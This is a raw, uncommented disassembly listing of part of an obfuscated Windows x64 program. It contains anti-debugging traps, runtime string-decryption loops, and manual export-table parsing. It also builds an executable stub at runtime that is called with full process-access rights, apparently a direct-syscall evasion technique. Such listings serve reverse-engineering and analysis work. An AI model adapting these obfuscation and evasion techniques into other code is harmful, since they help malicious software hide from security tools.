xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c147
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c147
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c167
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword gs:[0x37]
cmp rax, r14
jne 0x14002c224
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0xaf7f77f7
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0xdcf4ae0
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c204
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c204
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c224
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
call fcn.1400962c0
or dword [rbp + 0x7414], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x6090]
call fcn.140038570
mov rax, qword gs:[0x37]
cmp rax, r14
jne 0x14002c2ee
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c2ce
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c2ce
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c2ee
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword gs:[0x37]
mov r8d, 0xaf7f77f7
mov r9d, 0xdcf4ae0
cmp rax, r14
jne 0x14002c3b3
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, r8d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, r9d
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c393
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c393
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c3b3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword gs:[0x37]
cmp rax, r14
jne 0x14002c46c
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, r9
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c44c
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c44c
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c46c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword gs:[0x37]
cmp rax, r14
jne 0x14002c516
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c4f6
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c4f6
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c516
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword gs:[0x37]
cmp rax, r14
jne 0x14002c5cf
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, r9
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c5af
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c5af
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c5cf
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov qword [rbp + 0xe58], r15
mov rax, qword gs:[0x37]
cmp rax, r14
jne 0x14002c680
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c660
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c660
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c680
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword gs:[0x37]
cmp rax, r14
jne 0x14002c739
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, r9
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c719
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c719
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c739
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov rdi, qword [rbp + 0x1098]
sub rdi, qword [rbp + 0x1090]
sar rdi, 3
lea rcx, [rbp + 0x6090]
call fcn.140037b08
mov eax, eax
xor edx, edx
div rdi
mov rbx, rdx
mov rax, qword gs:[0x37]
cmp rax, r14
jne 0x14002c80b
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c7eb
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c7eb
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c80b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov edi, r15d
mov rax, qword [rbp + 0x1098]
sub rax, qword [rbp + 0x1090]
sar rax, 3
test rax, rax
je 0x14002cb15
xor r14d, r14d
mov r8d, 0xf95e3ae5
mov rax, qword gs:[0x37]
cmp rax, r8
jne 0x14002c8dd
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x3c0f780e
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0xaf7f77f7
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0xdcf4ae0
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002cbcd
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002cbcd
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x14002cbcd
movsxd rax, ebx
mov rcx, qword [rbp + 0x1090]
mov rcx, qword [rcx + rax*8]
call fcn.1400278b8
mov r15d, eax
mov rcx, qword gs:[0x37]
mov r8d, 0xf95e3ae5
movabs r9, 0xccb3654c6870e515
cmp rcx, r8
jne 0x14002c999
mov rcx, qword gs:[0x45]
xor rcx, r9
mov qword [rbp + 0x1070], rcx
mov rcx, qword gs:[0x45]
xor rcx, r9
mov qword [rbp + 0x1078], rcx
mov rcx, qword gs:[0x45]
xor rcx, r9
mov qword [rbp + 0x1080], rcx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0x1070]
cmp rax, rcx
je 0x14002cbed
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0x1078]
cmp rax, rcx
je 0x14002cbed
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0x1080]
cmp rax, rcx
je 0x14002cbed
test r15d, r15d
jne 0x14002cc4d
mov rax, qword gs:[0x37]
cmp rax, r8
jne 0x14002ca38
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0x1050], rax
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0x1058], rax
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0x1060], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0x1050]
cmp rax, rcx
je 0x14002cc0d
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0x1058]
cmp rax, rcx
je 0x14002cc0d
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0x1060]
cmp rax, rcx
je 0x14002cc0d
mov rcx, qword [rbp + 0x1098]
sub rcx, qword [rbp + 0x1090]
sar rcx, 3
lea eax, [rbx + 1]
cdqe
xor edx, edx
div rcx
mov ebx, edx
mov rax, qword gs:[0x37]
cmp rax, r8
jne 0x14002caec
mov rax, qword gs:[0x45]
xor rax, r9
mov qword [rbp + 0xf60], rax
mov rax, qword gs:[0x45]
xor rax, r9
mov qword [rbp + 0xf68], rax
mov rax, qword gs:[0x45]
xor rax, r9
mov qword [rbp + 0xf70], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf60]
cmp rax, rcx
je 0x14002cc2d
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf68]
cmp rax, rcx
je 0x14002cc2d
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf70]
cmp rax, rcx
je 0x14002cc2d
inc edi
mov rcx, qword [rbp + 0x1098]
sub rcx, qword [rbp + 0x1090]
sar rcx, 3
movsxd rax, edi
cmp rax, rcx
jb 0x14002c832
xor r15d, r15d
mov r14d, 0xf95e3ae5
mov rax, qword gs:[0x37]
cmp rax, r14
jne 0x140036964
mov rax, qword gs:[0x45]
movabs rcx, 0xccb3654c6870e515
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002cbad
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002cbad
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140036964
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword [rbp + 0x1080]
mov rdx, qword [rbp + 0x1078]
xor rdx, rax
mov rcx, qword [rbp + 0x1070]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword [rbp + 0x1060]
mov rdx, qword [rbp + 0x1058]
xor rdx, rax
mov rcx, qword [rbp + 0x1050]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword [rbp + 0xf70]
mov rdx, qword [rbp + 0xf68]
xor rdx, rax
mov rcx, qword [rbp + 0xf60]
xor ecx, edx
call fcn.14009d288
int3
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0xe88], gethostname
mov qword [rbp + 0xe90], r14
mov dword [rbp + 0xea0], r14d
mov qword [rbp + 0xe98], r14
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xea8], xmm0
mov rax, r15
mov qword [rsp + 0x70], rax
mov qword [rbp + 0xe78], rax
mov qword [rbp + 0xe80], r14
mov dword [rbp + 0x210], 0xf327535e
mov dword [rbp + 0x214], 0x9f6f6703
mov dword [rbp + 0x218], 0x51aed70c
mov word [rbp + 0x21c], 0xf4
mov r8, r14
movabs rbx, 0x8080808080808081
movabs rsi, 0x1b6acfdbc
movabs r9, 0x1646c8e299
mov r10d, reloc.WS2_32.dll_listen
movabs r11, 0x2c8d91c532
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x210], dil
inc r8
add r9, r12
add r10, 0xd
cmp r9, r11
jb 0x14002ccf0
mov byte [rbp + 0x21d], r14b
mov dword [rbp + 0x80], 0x7cb0dbfa
mov dword [rbp + 0x84], 0x21bcdce5
mov word [rbp + 0x88], 0xab
mov r8, r14
movabs r9, 0xf6c14eba5
mov r10d, 9
movabs r11, 0x1ed829d74a
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x80], dil
inc r8
add r9, r12
add r10, 9
cmp r9, r11
jb 0x14002cd8e
mov byte [rbp + 0x89], r14b
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x14002d017
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002d017
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002d017
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002d017
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x14002d017
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x210]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002ce89
inc rax
test edi, edi
jne 0x14002ce74
test r8d, r8d
je 0x14002ce9b
inc rdx
cmp rdx, rsi
jb 0x14002ce63
jmp 0x14002d017
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14002d017
mov r14d, dword [rdx + 4]
xor edi, edi
test r14d, r14d
js 0x14002d014
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rdi + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
call fcn.1400962c0
or dword [rbp + 0x87a4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x7420]
call fcn.140038570
lea rcx, [rbp + 0x7420]
call fcn.140037b08
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
lea rcx, [rbp + 0x7420]
call fcn.140037b08
mov eax, eax
mov qword [rbp + rdi*8 + 0x406e0], rax
inc rdi
cmp rdi, 0x200
jl 0x14002cf29
mov r8d, 0x1000
lea rdx, [rbp + 0x406e0]
mov rcx, rbx
call fcn.1400bfd40
mov dword [0x14010a684], r14d
lea rdi, [rsi + rbx]
movsd xmm0, qword [0x14010a680]
movsd qword [rdi], xmm0
movzx eax, word [0x14010a688]
mov word [rdi + 8], ax
mov al, byte [0x14010a68a]
mov byte [rdi + 0xa], al
xor r14d, r14d
mov dword [rbp + 0xfd8], r14d
lea r9, [rbp + 0xfd8]
mov esi, 0x1000
lea r8d, [r14 + 0x20]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rbp + 0xe78]
lea r8, [rbp + 0xe88]
mov edx, 0x1fffff
lea rcx, [rbp + 0xe58]
call rdi
mov edi, eax
lea r9, [rbp + 0xfd8]
mov r8d, dword [rbp + 0xfd8]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, esi
xor edx, edx
mov rcx, rbx
call fcn.1400c03e0
lea edx, [r14 + 0xb]
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x14010a684], r14d
test edi, edi
js 0x14002d02a
jmp 0x14002d017
xor r14d, r14d
mov rcx, qword [rbp + 0xe58]
lea rax, [rcx + 1]
test rax, 0xfffffffffffffffe
jne 0x14002d040
mov qword [rbp + 0xe58], r14
mov ecx, r15d
call fcn.140027380
mov rcx, qword [rbp + 0xe58]
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
mov rax, qword gs:[0x37]
ja 0x1400365d6
mov esi, 0xf95e3ae5
cmp rax, rsi
jne 0x14002d112
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x3c0f780e
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0xaf7f77f7
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0xdcf4ae0
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d0f2
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d0f2
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002d112
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
movdqa xmm0, xmmword [0x1400f25f0]
movdqu xmmword [rbp + 0xba0], xmm0
movdqa xmm1, xmmword [0x1400f2420]
movdqu xmmword [rbp + 0xbb0], xmm1
mov dword [rbp + 0xbc0], 0x84d744d3
mov word [rbp + 0xbc4], 0xefce
xor eax, eax
mov byte [rbp + 0xbc6], al
mov r8, r14
movabs rbx, 0x1b6acfdbc
movabs r9, 0x411dadaa0e
lea r10d, [rax + 0x26]
lea r15d, [rax + 1]
movabs r11, 0x8080808080808081
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xba0], dil
add r8, r15
add r9, r12
add r10, 0x26
movabs rax, 0x823b5b541c
cmp r9, rax
jb 0x14002d176
mov byte [rbp + 0xbc6], r14b
lea rcx, [rbp + 0xba0]
call fcn.14001121c
mov rax, qword gs:[0x37]
mov ebx, 0xeb6f8fc5
cmp rax, rsi
jne 0x14002d29f
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d27f
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d27f
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002d29f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14009d288
int3
call fcn.1400275e0
mov rcx, qword gs:[0x37]
test al, al
jne 0x14002d651
cmp rcx, rsi
jne 0x14002d36b
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x3c0f780e
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0xaf7f77f7
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0xdcf4ae0
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d34b
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d34b
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002d36b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
movdqa xmm0, xmmword [0x1400f2500]
movdqu xmmword [rbp + 0x3e0], xmm0
mov word [rbp + 0x3f0], Ordinal_211
mov r10, r14
movabs rsi, 0x1b6acfdbc
movabs r8, 0x1d217cd98d
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x3a42f9b31a
movabs r13, 0x8080808080808081
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r13
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, r13
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r10 + 0x3e0]
xor dil, r10b
mov byte [rbp + r10 + 0x3e0], dil
add r10, r15
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x14002d3b5
mov byte [rbp + 0x3f1], r14b
movdqa xmm0, xmmword [0x1400f2430]
movdqu xmmword [rbp + 0xaf8], xmm0
movdqa xmm1, xmmword [0x1400f2330]
movdqu xmmword [rbp + 0xb08], xmm1
mov r8, r14
mov esi, 0xf95e3ae5
movabs rbx, 0x1b6acfdbc
mov r9d, Ordinal_33
movabs r10, 0x351ef2b9e3
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r13
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r13
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xaf8], dil
add r8, r15
add r10, r12
add r9, 0x1f
movabs rax, 0x6a3de573c6
cmp r10, rax
jb 0x14002d463
mov byte [rbp + 0xb17], r14b
xor r9d, r9d
lea r8, [rbp + 0x3e0]
lea rdx, [rbp + 0xaf8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x37]
cmp rax, rsi
mov ebx, 0xeb6f8fc5
jne 0x14002d5a3
mov rax, qword gs:[0x45]
movabs rcx, 0xccb3654c6870e515
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d583
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d583
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002d5a3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword gs:[0x37]
cmp rax, rsi
jne 0x140036f5a
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d631
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d631
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140036f5a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
cmp rcx, rsi
jne 0x14002d6f2
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d6d2
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d6d2
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002d6f2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
movdqa xmm0, xmmword [0x1400f2550]
movdqu xmmword [rbp + 0x248], xmm0
xor eax, eax
mov byte [rbp + 0x258], al
mov r8, r14
movabs rbx, 0x8080808080808081
movabs rsi, 0x1b6acfdbc
movabs r9, 0x1b6acfdbd0
lea r10d, [rax + 0x10]
movabs r11, 0x36d59fb7a0
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x248], dil
add r8, r15
add r9, r12
add r10, 0x10
cmp r9, r11
jb 0x14002d739
mov byte [rbp + 0x258], r14b
lea rcx, [rbp + 0x248]
call fcn.1400273d0
mov rax, qword gs:[0x37]
mov esi, 0xf95e3ae5
cmp rax, rsi
jne 0x14002d86d
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x3c0f780e
div rcx
mov qword [rbp + 0xf30], rdx
